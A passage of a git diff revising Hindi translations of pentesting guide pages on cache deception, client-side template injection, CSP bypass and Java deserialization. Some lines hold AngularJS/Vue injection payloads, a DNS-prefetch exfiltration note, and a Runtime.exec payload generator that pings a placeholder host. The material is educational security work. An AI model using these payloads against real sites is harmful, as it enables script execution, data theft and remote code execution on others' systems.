उत्पन्न हुई। ### User Agent Rules @@ -184,7 +184,7 @@ Cloudflare ने पहले 403 प्रतिक्रियाओं क ### Illegal Header Fields -[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) हेडर नामों में स्वीकार्य वर्णों को निर्दिष्ट करता है। हेडर में निर्दिष्ट **tchar** रेंज के बाहर के वर्णों को शामिल करने वाले हेडर को आदर्श रूप से 400 Bad Request प्रतिक्रिया उत्पन्न करनी चाहिए। व्यवहार में, सर्वर हमेशा इस मानक का पालन नहीं करते हैं। एक उल्लेखनीय उदाहरण Akamai है, जो अवैध वर्णों वाले हेडर को अग्रेषित करता है और किसी भी 400 त्रुटि को कैश करता है, जब तक कि `cache-control` हेडर मौजूद नहीं है। एक exploitable पैटर्न की पहचान की गई थी जहां अवैध वर्ण जैसे `\` वाला हेडर भेजने से कैशेबल 400 Bad Request त्रुटि उत्पन्न होती है। +[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) हेडर नामों में स्वीकार्य वर्णों को निर्दिष्ट करता है। हेडर में निर्दिष्ट **tchar** रेंज के बाहर के वर्णों को शामिल करने वाले हेडर को आदर्श रूप से 400 Bad Request प्रतिक्रिया उत्पन्न करनी चाहिए। व्यवहार में, सर्वर हमेशा इस मानक का पालन नहीं करते हैं। एक उल्लेखनीय उदाहरण Akamai है, जो अवैध वर्णों वाले हेडर को अग्रेषित करता है और किसी भी 400 त्रुटि को कैश करता है, जब तक कि `cache-control` हेडर मौजूद नहीं है। एक exploitable पैटर्न पहचाना गया था जहां अवैध वर्ण जैसे `\` वाला हेडर भेजने से कैशेबल 400 Bad Request त्रुटि उत्पन्न होती है। ### Finding new headers @@ -194,7 +194,7 @@ Cloudflare ने पहले 403 प्रतिक्रियाओं क Cache Deception का लक्ष्य ग्राहकों को **ऐसे संसाधनों को लोड करने के लिए मजबूर करना है जो कैश द्वारा उनके संवेदनशील जानकारी के साथ सहेजे जाने वाले हैं**। -सबसे पहले यह ध्यान दें कि **extensions** जैसे `.css`, `.js`, `.png` आदि आमतौर पर **सहेजे जाने** के लिए **कॉन्फ़िगर** किए जाते हैं। इसलिए, यदि आप `www.example.com/profile.php/nonexistent.js` तक पहुँचते हैं, तो कैश संभवतः प्रतिक्रिया को सहेज लेगा क्योंकि यह `.js` **extension** को देखता है। लेकिन, यदि **application** _www.example.com/profile.php_ में संग्रहीत **संवेदनशील** उपयोगकर्ता सामग्री के साथ **replaying** कर रहा है, तो आप अन्य उपयोगकर्ताओं से उन सामग्रियों को **चुरा** सकते हैं। +सबसे पहले यह ध्यान दें कि **extensions** जैसे `.css`, `.js`, `.png` आदि आमतौर पर **कैश में सहेजे जाने के लिए** **कॉन्फ़िगर** किए जाते हैं। इसलिए, यदि आप `www.example.com/profile.php/nonexistent.js` तक पहुंचते हैं, तो कैश संभवतः प्रतिक्रिया को सहेज लेगा क्योंकि यह `.js` **extension** को देखता है। लेकिन, यदि **अनुप्रयोग** _www.example.com/profile.php_ में संग्रहीत **संवेदनशील** उपयोगकर्ता सामग्री के साथ **पुनः खेल रहा है**, तो आप अन्य उपयोगकर्ताओं से उन सामग्रियों को **चुरा** सकते हैं। परीक्षण करने के लिए अन्य चीजें: @@ -206,12 +206,12 @@ Cache Deception का लक्ष्य ग्राहकों को **ऐ - _कम ज्ञात एक्सटेंशन का उपयोग करें जैसे_ `.avif` एक और बहुत स्पष्ट उदाहरण इस लेख में पाया जा सकता है: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -उदाहरण में, यह समझाया गया है कि यदि आप _http://www.example.com/home.php/non-existent.css_ जैसी गैर-मौजूद पृष्ठ को लोड करते हैं, तो _http://www.example.com/home.php_ (**उपयोगकर्ता की संवेदनशील जानकारी के साथ**) की सामग्री लौटाई जाएगी और कैश सर्वर परिणाम को सहेज लेगा।\ -फिर, **attacker** अपने ब्राउज़र में _http://www.example.com/home.php/non-existent.css_ तक पहुँच सकता है और पहले पहुँचने वाले उपयोगकर्ताओं की **गोपनीय जानकारी** देख सकता है। +उदाहरण में, यह समझाया गया है कि यदि आप एक गैर-मौजूद पृष्ठ लोड करते हैं जैसे _http://www.example.com/home.php/non-existent.css_ तो _http://www.example.com/home.php_ (**उपयोगकर्ता की संवेदनशील जानकारी के साथ**) की सामग्री लौटाई जाएगी और कैश सर्वर परिणाम को सहेज लेगा।\ +फिर, **हमलावर** अपने ब्राउज़र में _http://www.example.com/home.php/non-existent.css_ तक पहुंच सकता है और पहले पहुंचने वाले उपयोगकर्ताओं की **गोपनीय जानकारी** देख सकता है। -ध्यान दें कि **cache proxy** को फ़ाइलों को **extension** के आधार पर **cache** करने के लिए **कॉन्फ़िगर** किया जाना चाहिए (_.css_) और सामग्री-प्रकार के आधार पर नहीं। उदाहरण में _http://www.example.com/home.php/non-existent.css_ का `text/html` सामग्री-प्रकार होगा न कि _.css_ फ़ाइल के लिए अपेक्षित `text/css` mime प्रकार। +ध्यान दें कि **कैश प्रॉक्सी** को फ़ाइलों को **कैश** करने के लिए **कॉन्फ़िगर** किया जाना चाहिए **फाइल के एक्सटेंशन** (_.css_) के आधार पर और सामग्री-प्रकार के आधार पर नहीं। उदाहरण में _http://www.example.com/home.php/non-existent.css_ का `text/html` सामग्री-प्रकार होगा न कि _.css_ फ़ाइल के लिए अपेक्षित `text/css` माइम प्रकार। -यहां जानें कि कैसे [Cache Deceptions हमलों को HTTP Request Smuggling का दुरुपयोग करके किया जाता है](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)। +यहां जानें कि [Cache Deceptions हमलों को HTTP Request Smuggling का दुरुपयोग करके कैसे किया जाए](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)। ## Automatic Tools diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index 70d481da2..f6545a1f5 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -4,15 +4,15 @@ ## Summary -यह [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) की तरह है लेकिन **client** में। **SSTI** आपको **remote server** पर **कोड** **execute** करने की अनुमति दे सकता है, **CSTI** आपको **victim's browser** में **मनमाना JavaScript** कोड **execute** करने की अनुमति दे सकता है। +यह [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) की तरह है लेकिन **client** में। **SSTI** आपको **remote server** पर **code** **execute** करने की अनुमति दे सकता है, **CSTI** आपको **victim's browser** में **arbitrary JavaScript** कोड **execute** करने की अनुमति दे सकता है। -इस सुरक्षा कमजोरी के लिए **Testing** **SSTI** के मामले में बहुत **similar** है, interpreter **a template** की अपेक्षा करता है और इसे execute करेगा। उदाहरण के लिए, एक payload जैसे `{{ 7-7 }}` के साथ, यदि ऐप **vulnerable** है तो आप `0` देखेंगे, और यदि नहीं, तो आप मूल: `{{ 7-7 }}` देखेंगे। +इस सुरक्षा कमजोरी के लिए **Testing** **SSTI** के मामले में बहुत **similar** है, interpreter **a template** की अपेक्षा करता है और इसे **execute** करेगा। उदाहरण के लिए, एक payload जैसे `{{ 7-7 }}` के साथ, यदि ऐप **vulnerable** है तो आप `0` देखेंगे, और यदि नहीं, तो आप मूल: `{{ 7-7 }}` देखेंगे। ## AngularJS -AngularJS एक व्यापक रूप से उपयोग किया जाने वाला JavaScript फ्रेमवर्क है जो HTML के साथ attributes के माध्यम से बातचीत करता है, जिसमें एक उल्लेखनीय **`ng-app`** है। यह directive AngularJS को HTML सामग्री को प्रोसेस करने की अनुमति देता है, जिससे डबल कर्ली ब्रेसेस के अंदर JavaScript expressions को execute किया जा सके। +AngularJS एक व्यापक रूप से उपयोग किया जाने वाला JavaScript framework है जो HTML के साथ attributes के माध्यम से बातचीत करता है, जिसमें एक उल्लेखनीय **`ng-app`** है। यह directive AngularJS को HTML सामग्री को संसाधित करने की अनुमति देता है, जिससे डबल कर्ली ब्रेसेस के अंदर JavaScript expressions को execute किया जा सके। -ऐसे परिदृश्यों में जहां उपयोगकर्ता इनपुट को `ng-app` के साथ टैग की गई HTML body में गतिशील रूप से डाला जाता है, मनमाना JavaScript कोड execute करना संभव है। यह इनपुट के भीतर AngularJS की syntax का लाभ उठाकर किया जा सकता है। नीचे उदाहरण दिए गए हैं जो दिखाते हैं कि कैसे JavaScript कोड को execute किया जा सकता है: +ऐसे परिदृश्यों में जहां उपयोगकर्ता इनपुट को `ng-app` के साथ टैग की गई HTML body में गतिशील रूप से डाला जाता है, यह arbitrary JavaScript कोड को execute करना संभव है। यह इनपुट के भीतर AngularJS की syntax का लाभ उठाकर किया जा सकता है। नीचे उदाहरण दिए गए हैं जो दिखाते हैं कि JavaScript कोड कैसे execute किया जा सकता है: ```javascript {{$on.constructor('alert(1)')()}} {{constructor.constructor('alert(1)')()}} @@ -31,7 +31,7 @@ AngularJS एक व्यापक रूप से उपयोग किय काम करने वाला पेलोड: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`]() और कमजोर उदाहरण का **स्रोत कोड** यहाँ है: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example) -```markup +```html ">
aaa
``` @@ -49,7 +49,7 @@ CSTI पर VUE में एक बहुत अच्छा पोस्ट [h ``` Credit: [Mario Heiderich](https://twitter.com/cure53berlin) -**अधिक VUE पेलोड्स देखें** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) +**अधिक VUE पेलोड देखें** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) ## Mavo diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 4ab4bdb6f..38af1c25a 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -57,7 +57,7 @@ object-src 'none'; - **sandbox**: ` ``` इस [**CTF लेख**](https://github.com/aszx87410/ctf-writeups/issues/48) में, **HTML injection** के माध्यम से **CSP** को अधिक **restrict** करना संभव था, जिससे CSTI को रोकने वाला एक स्क्रिप्ट निष्क्रिय हो गया और इसलिए **vulnerability exploitable हो गई।**\ -CSP को **HTML meta tags** का उपयोग करके अधिक restrictive बनाया जा सकता है और inline scripts को **removing** करके **entry** को निष्क्रिय किया जा सकता है, जिससे उनके **nonce** की अनुमति मिलती है और **sha** के माध्यम से विशिष्ट inline स्क्रिप्ट को **enable** किया जा सकता है: +CSP को **HTML meta tags** का उपयोग करके अधिक restrictive बनाया जा सकता है और inline scripts को **removing** करके **entry** को निष्क्रिय किया जा सकता है, जिससे उनके **nonce** की अनुमति मिलती है और **sha** के माध्यम से विशिष्ट inline स्क्रिप्ट को सक्षम किया जा सकता है: ```html ` +पृष्ठों को तेजी से लोड करने के लिए, ब्राउज़र होस्टनाम को आईपी पते में पूर्व-समाधान करने और उन्हें बाद में उपयोग के लिए कैश करने जा रहे हैं।\ +आप एक ब्राउज़र को एक होस्टनाम को पूर्व-समाधान करने के लिए संकेत दे सकते हैं: `` आप इस व्यवहार का दुरुपयोग करके **DNS अनुरोधों के माध्यम से संवेदनशील जानकारी को एक्सफिल्ट्रेट** कर सकते हैं: ```javascript diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 256703aec..a671f7e89 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -4,9 +4,9 @@ ## Basic Information -**Serialization** को एक ऑब्जेक्ट को एक ऐसे प्रारूप में परिवर्तित करने की विधि के रूप में समझा जाता है जिसे संरक्षित किया जा सके, जिसका उद्देश्य या तो ऑब्जेक्ट को संग्रहीत करना है या इसे संचार प्रक्रिया के एक भाग के रूप में प्रसारित करना है। यह तकनीक आमतौर पर यह सुनिश्चित करने के लिए उपयोग की जाती है कि ऑब्जेक्ट को बाद में फिर से बनाया जा सके, इसकी संरचना और स्थिति को बनाए रखते हुए। +**Serialization** को एक ऑब्जेक्ट को एक ऐसे प्रारूप में परिवर्तित करने की विधि के रूप में समझा जाता है जिसे संरक्षित किया जा सके, जिसका उद्देश्य या तो ऑब्जेक्ट को स्टोर करना है या इसे संचार प्रक्रिया के हिस्से के रूप में प्रसारित करना है। यह तकनीक आमतौर पर यह सुनिश्चित करने के लिए उपयोग की जाती है कि ऑब्जेक्ट को बाद में फिर से बनाया जा सके, इसकी संरचना और स्थिति को बनाए रखते हुए। -**Deserialization**, इसके विपरीत, वह प्रक्रिया है जो serialization का प्रतिकार करती है। इसमें उस डेटा को लेना शामिल है जिसे एक विशिष्ट प्रारूप में संरचित किया गया है और इसे फिर से एक ऑब्जेक्ट में पुनर्निर्माण करना शामिल है। +**Deserialization**, इसके विपरीत, वह प्रक्रिया है जो serialization का प्रतिकार करती है। इसमें एक विशेष प्रारूप में संरचित डेटा को लेकर उसे फिर से एक ऑब्जेक्ट में पुनर्निर्माण करना शामिल है। Deserialization खतरनाक हो सकता है क्योंकि यह संभावित रूप से **हमलावरों को अनुक्रमित डेटा में हेरफेर करने की अनुमति देता है ताकि हानिकारक कोड निष्पादित किया जा सके** या ऑब्जेक्ट पुनर्निर्माण प्रक्रिया के दौरान एप्लिकेशन में अप्रत्याशित व्यवहार उत्पन्न कर सके। @@ -14,7 +14,7 @@ Deserialization खतरनाक हो सकता है क्योंक PHP में, serialization और deserialization प्रक्रियाओं के दौरान विशिष्ट जादुई विधियों का उपयोग किया जाता है: -- `__sleep`: जब एक ऑब्जेक्ट को अनुक्रमित किया जा रहा होता है, तब इसे बुलाया जाता है। यह विधि उन सभी गुणों के नामों का एक एरे लौटाना चाहिए जिन्हें अनुक्रमित किया जाना चाहिए। इसका सामान्य उपयोग लंबित डेटा को समर्पित करने या समान सफाई कार्य करने के लिए किया जाता है। +- `__sleep`: जब एक ऑब्जेक्ट को अनुक्रमित किया जा रहा होता है, तब इसे बुलाया जाता है। यह विधि उन सभी प्रॉपर्टीज के नामों का एक एरे लौटाना चाहिए जिन्हें अनुक्रमित किया जाना चाहिए। इसका सामान्य उपयोग लंबित डेटा को समर्पित करने या समान सफाई कार्य करने के लिए किया जाता है। - `__wakeup`: जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है, तब इसे बुलाया जाता है। इसका उपयोग उन किसी भी डेटाबेस कनेक्शनों को फिर से स्थापित करने के लिए किया जाता है जो serialization के दौरान खो गए हो सकते हैं और अन्य पुनः आरंभ कार्य करने के लिए। - `__unserialize`: यह विधि `__wakeup` के बजाय (यदि यह मौजूद है) तब बुलाई जाती है जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है। यह `__wakeup` की तुलना में deserialization प्रक्रिया पर अधिक नियंत्रण प्रदान करती है। - `__destruct`: यह विधि तब बुलाई जाती है जब एक ऑब्जेक्ट नष्ट होने वाला होता है या जब स्क्रिप्ट समाप्त होती है। इसका सामान्य उपयोग सफाई कार्यों के लिए किया जाता है, जैसे फ़ाइल हैंडल या डेटाबेस कनेक्शनों को बंद करना। @@ -77,7 +77,7 @@ This is a test
यदि आप परिणामों को देखें तो आप देख सकते हैं कि फ़ंक्शन **`__wakeup`** और **`__destruct`** तब कॉल किए जाते हैं जब ऑब्जेक्ट को डीसिरियलाइज़ किया जाता है। ध्यान दें कि कई ट्यूटोरियल में आप पाएंगे कि **`__toString`** फ़ंक्शन तब कॉल किया जाता है जब किसी विशेषता को प्रिंट करने की कोशिश की जाती है, लेकिन स्पष्ट रूप से यह **अब नहीं हो रहा है**। > [!WARNING] -> यदि इसे क्लास में लागू किया गया है तो **`__unserialize(array $data)`** विधि **`__wakeup()`** के बजाय कॉल की जाती है। यह आपको ऑब्जेक्ट को डीसिरियलाइज़ करने की अनुमति देती है, जिसमें सीरियलाइज्ड डेटा को एक एरे के रूप में प्रदान किया जाता है। आप इस विधि का उपयोग प्रॉपर्टीज को डीसिरियलाइज़ करने और डीसिरियलाइज़ेशन के दौरान आवश्यक कार्य करने के लिए कर सकते हैं। +> यदि इसे क्लास में लागू किया गया है तो **`__unserialize(array $data)`** मेथड **`__wakeup()`** के बजाय कॉल किया जाता है। यह आपको ऑब्जेक्ट को डीसिरियलाइज़ करने की अनुमति देता है, जिसमें सीरियलाइज्ड डेटा को एक एरे के रूप में प्रदान किया जाता है। आप इस मेथड का उपयोग प्रॉपर्टीज को डीसिरियलाइज़ करने और डीसिरियलाइज़ेशन के दौरान आवश्यक कार्य करने के लिए कर सकते हैं। > > ```php > class MyClass { @@ -102,7 +102,7 @@ php-deserialization-+-autoload-classes.md ### संदर्भित मानों को सीरियलाइज़ करना -यदि किसी कारणवश आप किसी मान को **दूसरे सीरियलाइज्ड मान के संदर्भ के रूप में** सीरियलाइज़ करना चाहते हैं, तो आप कर सकते हैं: +यदि किसी कारणवश आप किसी मान को **दूसरे सीरियलाइज्ड मान के संदर्भ के रूप में** सीरियलाइज़ करना चाहते हैं तो आप कर सकते हैं: ```php " या "|" का उपयोग नहीं कर सकते हैं ताकि निष्पादन का आउटपुट पुनर्निर्देशित किया जा सके, "$()" का उपयोग करके कमांड निष्पादित करने के लिए या यहां तक कि **कमांड के लिए तर्क** पास करने के लिए जो **स्पेस** द्वारा अलग किए गए हैं (आप `echo -n "hello world"` कर सकते हैं लेकिन आप `python2 -c 'print "Hello world"'` नहीं कर सकते)। पेलोड को सही ढंग से एन्कोड करने के लिए, आप [इस वेबपेज](http://www.jackson-t.ca/runtime-exec-payloads.html) का उपयोग कर सकते हैं। +जब **java.lang.Runtime.exec()** के लिए एक payload बनाते हैं, तो आप **विशेष वर्ण** जैसे ">" या "|" का उपयोग नहीं कर सकते हैं ताकि निष्पादन का आउटपुट पुनर्निर्देशित किया जा सके, "$()" का उपयोग करके आदेश निष्पादित कर सकें या यहां तक कि **कमांड के लिए तर्क** को **स्पेस** द्वारा अलग कर सकें (आप `echo -n "hello world"` कर सकते हैं लेकिन आप `python2 -c 'print "Hello world"'` नहीं कर सकते)। payload को सही ढंग से एन्कोड करने के लिए, आप [इस वेबपेज](http://www.jackson-t.ca/runtime-exec-payloads.html) का उपयोग कर सकते हैं। -Windows और Linux के लिए **सभी संभावित कोड निष्पादन** पेलोड बनाने के लिए अगले स्क्रिप्ट का उपयोग करने के लिए स्वतंत्र महसूस करें और फिर उन्हें कमजोर वेब पृष्ठ पर परीक्षण करें: +Windows और Linux के लिए **सभी संभावित कोड निष्पादन** payloads बनाने के लिए अगले स्क्रिप्ट का उपयोग करने के लिए स्वतंत्र महसूस करें और फिर उन्हें कमजोर वेब पृष्ठ पर परीक्षण करें: ```python import os import base64 @@ -455,13 +455,13 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local') ``` #### serialkillerbypassgadgets -आप **उपयोग कर सकते हैं** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **अधिक एक्सप्लॉइट बनाने के लिए ysoserial के साथ**। इस टूल के बारे में अधिक जानकारी **बातचीत की स्लाइड्स** में है जहाँ टूल प्रस्तुत किया गया था: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) +आप **इसका उपयोग कर सकते हैं** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **और ysoserial के साथ अधिक एक्सप्लॉइट बनाने के लिए**। इस टूल के बारे में अधिक जानकारी **टॉक की स्लाइड्स** में है जहाँ टूल प्रस्तुत किया गया था: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) #### marshalsec [**marshalsec** ](https://github.com/mbechler/marshalsec) का उपयोग विभिन्न **Json** और **Yml** सीरियलाइजेशन लाइब्रेरीज़ को एक्सप्लॉइट करने के लिए पेलोड्स उत्पन्न करने के लिए किया जा सकता है।\ -प्रोजेक्ट को संकलित करने के लिए मुझे `pom.xml` में ये **निर्भरता** **जोड़नी** पड़ी: -```markup +प्रोजेक्ट को संकलित करने के लिए मुझे `pom.xml` में ये **dependencies** **जोड़ने** की आवश्यकता थी: +```html javax.activation activation @@ -475,7 +475,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local') pom ``` -**मावेन स्थापित करें**, और **परियोजना को संकलित करें**: +**Maven स्थापित करें**, और **परियोजना को संकलित करें**: ```bash sudo apt-get install maven mvn clean package -DskipTests @@ -493,7 +493,7 @@ mvn clean package -DskipTests Java विभिन्न उद्देश्यों के लिए बहुत सारी serialization का उपयोग करता है जैसे: -- **HTTP requests**: Serialization का व्यापक रूप से प्रबंधन में उपयोग किया जाता है जैसे कि parameters, ViewState, cookies, आदि। +- **HTTP requests**: Serialization का व्यापक रूप से प्रबंधन के लिए उपयोग किया जाता है जैसे कि parameters, ViewState, cookies, आदि। - **RMI (Remote Method Invocation)**: Java RMI प्रोटोकॉल, जो पूरी तरह से serialization पर निर्भर करता है, Java अनुप्रयोगों में दूरस्थ संचार के लिए एक आधारशिला है। - **RMI over HTTP**: यह विधि Java-आधारित मोटे क्लाइंट वेब अनुप्रयोगों द्वारा सामान्यतः उपयोग की जाती है, जो सभी ऑब्जेक्ट संचार के लिए serialization का उपयोग करती है। - **JMX (Java Management Extensions)**: JMX नेटवर्क पर ऑब्जेक्ट्स को भेजने के लिए serialization का उपयोग करता है। @@ -503,29 +503,29 @@ Java विभिन्न उद्देश्यों के लिए ब #### Transient objects -एक वर्ग जो `Serializable` को लागू करता है, वह वर्ग के अंदर किसी भी ऑब्जेक्ट को `transient` के रूप में लागू कर सकता है जिसे serializable नहीं होना चाहिए। उदाहरण के लिए: +एक क्लास जो `Serializable` को लागू करती है, वह क्लास के अंदर किसी भी ऑब्जेक्ट को `transient` के रूप में लागू कर सकती है जो serializable नहीं होना चाहिए। उदाहरण: ```java public class myAccount implements Serializable { private transient double profit; // declared transient private transient double margin; // declared transient ``` -#### एक क्लास का Serialization करने से बचें जिसे Serializable लागू करने की आवश्यकता है +#### एक क्लास के Serialization से बचें जिसे Serializable लागू करने की आवश्यकता है -उन परिदृश्यों में जहां कुछ **ऑब्जेक्ट्स को `Serializable`** इंटरफेस लागू करना आवश्यक है क्योंकि क्लास हायरार्की के कारण, अनजाने में deserialization का जोखिम होता है। इसे रोकने के लिए, सुनिश्चित करें कि ये ऑब्जेक्ट्स non-deserializable हैं, एक `final` `readObject()` मेथड को परिभाषित करके जो लगातार एक अपवाद फेंकता है, जैसा कि नीचे दिखाया गया है: +उन परिदृश्यों में जहां कुछ **objects को `Serializable`** इंटरफेस लागू करना आवश्यक है क्योंकि क्लास पदानुक्रम है, अनजाने में deserialization का जोखिम होता है। इसे रोकने के लिए, सुनिश्चित करें कि ये objects non-deserializable हैं, एक `final` `readObject()` मेथड को परिभाषित करके जो लगातार एक अपवाद फेंकता है, जैसा कि नीचे दिखाया गया है: ```java private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Cannot be deserialized"); } ``` -#### **जावा में डीसिरियलाइजेशन सुरक्षा को बढ़ाना** +#### **Java में Deserialization सुरक्षा बढ़ाना** -**`java.io.ObjectInputStream`** को कस्टमाइज़ करना डीसिरियलाइजेशन प्रक्रियाओं को सुरक्षित करने के लिए एक व्यावहारिक दृष्टिकोण है। यह विधि तब उपयुक्त है जब: +**`java.io.ObjectInputStream`** को कस्टमाइज़ करना deserialization प्रक्रियाओं को सुरक्षित करने के लिए एक व्यावहारिक दृष्टिकोण है। यह विधि तब उपयुक्त है जब: -- डीसिरियलाइजेशन कोड आपके नियंत्रण में है। -- डीसिरियलाइजेशन के लिए अपेक्षित कक्ष ज्ञात हैं। +- Deserialization कोड आपके नियंत्रण में है। +- Deserialization के लिए अपेक्षित कक्षाएँ ज्ञात हैं। -**`resolveClass()`** विधि को ओवरराइड करें ताकि डीसिरियलाइजेशन केवल अनुमत कक्षों तक सीमित हो सके। यह किसी भी कक्षा के डीसिरियलाइजेशन को रोकता है सिवाय उन कक्षों के जो स्पष्ट रूप से अनुमत हैं, जैसे कि निम्नलिखित उदाहरण में जो डीसिरियलाइजेशन को केवल `Bicycle` कक्षा तक सीमित करता है: +**`resolveClass()`** विधि को ओवरराइड करें ताकि केवल अनुमत कक्षाओं तक deserialization सीमित हो सके। यह किसी भी कक्षा के deserialization को रोकता है सिवाय उन कक्षाओं के जो स्पष्ट रूप से अनुमति दी गई हैं, जैसे कि निम्नलिखित उदाहरण में जो deserialization को केवल `Bicycle` कक्षा तक सीमित करता है: ```java // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html public class LookAheadObjectInputStream extends ObjectInputStream { @@ -550,13 +550,13 @@ return super.resolveClass(desc); ``` -javaagent:name-of-agent.jar ``` -यह गतिशील रूप से डेसिरियलाइजेशन को सुरक्षित करने का एक तरीका प्रदान करता है, जो उन वातावरणों के लिए आदर्श है जहाँ तात्कालिक कोड परिवर्तन व्यावहारिक नहीं हैं। +यह एक ऐसा तरीका प्रदान करता है जिससे डेसिरियलाइजेशन को गतिशील रूप से सुरक्षित किया जा सकता है, जो उन वातावरणों के लिए आदर्श है जहाँ तात्कालिक कोड परिवर्तन व्यावहारिक नहीं हैं। एक उदाहरण देखें [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) -**सिरियलाइजेशन फ़िल्टर लागू करना**: Java 9 ने **`ObjectInputFilter`** इंटरफ़ेस के माध्यम से सिरियलाइजेशन फ़िल्टर पेश किए, जो डेसिरियलाइजेशन से पहले सिरियलाइज्ड ऑब्जेक्ट्स को पूरा करने के लिए आवश्यक मानदंडों को निर्दिष्ट करने के लिए एक शक्तिशाली तंत्र प्रदान करते हैं। इन फ़िल्टरों को वैश्विक रूप से या प्रति स्ट्रीम लागू किया जा सकता है, जो डेसिरियलाइजेशन प्रक्रिया पर बारीक नियंत्रण प्रदान करता है। +**Serialization Filters को लागू करना**: Java 9 ने **`ObjectInputFilter`** इंटरफेस के माध्यम से serialization filters पेश किए, जो उन मानदंडों को निर्दिष्ट करने के लिए एक शक्तिशाली तंत्र प्रदान करते हैं जिन्हें डेसिरियलाइज होने से पहले serialized objects को पूरा करना चाहिए। ये फ़िल्टर वैश्विक रूप से या प्रति स्ट्रीम लागू किए जा सकते हैं, जो डेसिरियलाइजेशन प्रक्रिया पर बारीक नियंत्रण प्रदान करते हैं। -सिरियलाइजेशन फ़िल्टर का उपयोग करने के लिए, आप एक वैश्विक फ़िल्टर सेट कर सकते हैं जो सभी डेसिरियलाइजेशन संचालन पर लागू होता है या इसे विशिष्ट स्ट्रीम के लिए गतिशील रूप से कॉन्फ़िगर कर सकते हैं। उदाहरण के लिए: +Serialization filters का उपयोग करने के लिए, आप एक वैश्विक फ़िल्टर सेट कर सकते हैं जो सभी डेसिरियलाइजेशन संचालन पर लागू होता है या इसे विशिष्ट स्ट्रीम के लिए गतिशील रूप से कॉन्फ़िगर कर सकते हैं। उदाहरण के लिए: ```java ObjectInputFilter filter = info -> { if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth @@ -570,14 +570,14 @@ ObjectInputFilter.Config.setSerialFilter(filter); ``` **बाहरी पुस्तकालयों का उपयोग करके सुरक्षा में सुधार**: पुस्तकालय जैसे **NotSoSerial**, **jdeserialize**, और **Kryo** जावा डीसिरियलाइजेशन को नियंत्रित और मॉनिटर करने के लिए उन्नत सुविधाएँ प्रदान करते हैं। ये पुस्तकालय अतिरिक्त सुरक्षा परतें प्रदान कर सकते हैं, जैसे कि कक्षाओं की व्हाइटलिस्टिंग या ब्लैकलिस्टिंग, डीसिरियलाइजेशन से पहले अनुक्रमित वस्तुओं का विश्लेषण करना, और कस्टम अनुक्रमण रणनीतियों को लागू करना। -- **NotSoSerial** डीसिरियलाइजेशन प्रक्रियाओं को रोकता है ताकि अविश्वसनीय कोड का निष्पादन न हो सके। +- **NotSoSerial** अविश्वसनीय कोड के निष्पादन को रोकने के लिए डीसिरियलाइजेशन प्रक्रियाओं को इंटरसेप्ट करता है। - **jdeserialize** अनुक्रमित जावा वस्तुओं का विश्लेषण करने की अनुमति देता है बिना उन्हें डीसिरियलाइज किए, संभावित रूप से दुर्भावनापूर्ण सामग्री की पहचान करने में मदद करता है। - **Kryo** एक वैकल्पिक अनुक्रमण ढांचा है जो गति और दक्षता पर जोर देता है, कॉन्फ़िगर करने योग्य अनुक्रमण रणनीतियाँ प्रदान करता है जो सुरक्षा को बढ़ा सकती हैं। ### संदर्भ - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) -- डीसिरियलाइजेशन और ysoserial वार्ता: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) +- Deserialization और ysoserial वार्ता: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) - [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) - 